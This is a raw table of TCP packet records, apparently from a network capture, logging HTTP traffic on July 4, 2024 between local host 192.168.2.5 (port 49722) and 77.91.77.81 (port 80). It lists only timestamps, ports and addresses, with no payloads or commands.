Jul 4, 2024 22:21:10.130013943 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130023956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130048990 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130059958 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130111933 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130153894 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130166054 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130176067 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130281925 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130281925 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130281925 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130315065 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130325079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130333900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130346060 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130354881 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130357027 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130367994 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130379915 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130398035 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130424976 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130536079 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130549908 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130558968 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130588055 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130609035 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130670071 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130681038 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130690098 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130700111 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130717993 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130743980 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130810976 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130821943 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130831003 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130861998 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130881071 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130908012 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130918980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130928993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.130958080 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.130975008 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131057978 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131068945 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131078959 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131123066 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131160021 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131170988 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131181002 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131201982 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131216049 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131304979 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131314993 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131324053 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131334066 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131341934 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131347895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131354094 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131359100 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131387949 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131408930 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131553888 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131565094 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131576061 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131588936 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.131603003 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.131628990 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158241987 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158260107 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158273935 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158353090 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158361912 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158370018 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158381939 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158402920 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158402920 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158404112 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158404112 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158430099 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158737898 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158786058 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158821106 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158859015 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158863068 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158875942 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.158895016 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.158920050 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159006119 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159017086 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159032106 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159043074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159045935 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159056902 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159084082 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159151077 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159162045 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159169912 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159181118 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159190893 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159224987 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159298897 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159310102 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159318924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159329891 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159339905 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159372091 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159444094 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159456015 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159466982 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159487009 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159513950 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159590960 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159606934 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159617901 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159636974 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159667015 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159750938 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159765959 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159775019 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159785986 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159792900 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159796953 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159810066 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159821987 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159858942 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159929991 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159970045 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.159985065 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.159996033 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160023928 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160037994 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160084009 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160094023 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160108089 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160119057 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160125017 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160139084 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160164118 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160368919 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160379887 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160388947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160402060 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160413980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160413980 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160425901 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160429955 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160439014 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160449028 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160459995 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.160460949 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160479069 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.160496950 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.163223982 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.163243055 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.163253069 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.163276911 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.163307905 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.163327932 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.163338900 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.163348913 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.163364887 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.163391113 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181196928 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181230068 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181256056 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181272984 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181287050 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181288004 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181310892 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181312084 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181329012 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181333065 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181348085 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181351900 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181370974 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181390047 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181391001 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181427956 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181495905 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181509972 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181525946 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181540012 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181540966 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181554079 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181559086 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181567907 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181576014 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181588888 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181615114 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181636095 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181636095 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.181682110 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.181727886 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.219943047 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.219964981 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.219974995 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220046997 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220058918 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220102072 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220107079 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220107079 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220107079 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220118999 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220134974 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220143080 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220161915 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220185995 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220197916 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220232010 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220263004 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220273972 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220283031 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220300913 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220323086 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220419884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220432043 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220441103 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220449924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220459938 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220464945 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220487118 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220505953 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220613956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220628977 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220639944 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220649958 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220654964 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220662117 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220669985 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220695019 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220710993 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220813990 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220824957 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220834970 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220855951 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220870018 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220933914 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220943928 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220953941 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.220974922 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.220990896 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221123934 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221133947 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221143961 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221153975 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221160889 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221165895 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221175909 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221177101 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221188068 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221199036 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221204996 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221219063 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221239090 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221357107 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221368074 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221401930 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221498013 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221508980 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221518040 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221529007 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221539021 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221541882 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221550941 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.221565008 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.221585035 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248614073 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248665094 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248698950 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248730898 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248769045 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248799086 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248799086 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248799086 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248800039 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248816013 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248822927 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248869896 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248873949 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248895884 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248912096 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248917103 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248938084 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248946905 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248956919 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248975039 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.248986006 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.248991013 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249011993 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249025106 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249069929 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249080896 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249089956 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249116898 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249146938 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249206066 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249217033 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249228001 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249254942 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249275923 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249346972 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249357939 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249367952 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249394894 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249419928 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249501944 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249514103 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249522924 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249531984 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249546051 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249552011 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249577999 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249588013 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249658108 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249701977 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249718904 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249730110 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249738932 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249748945 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249759912 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249761105 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249772072 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249790907 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249804020 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.249980927 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.249993086 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250001907 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250010967 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250027895 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250041008 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250066996 CEST	49722	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:21:10.250097036 CEST	80	49722	77.91.77.81	192.168.2.5
Jul 4, 2024 22:21:10.250108957 CEST	80	49722	77.91.77.81	192.168.2.5
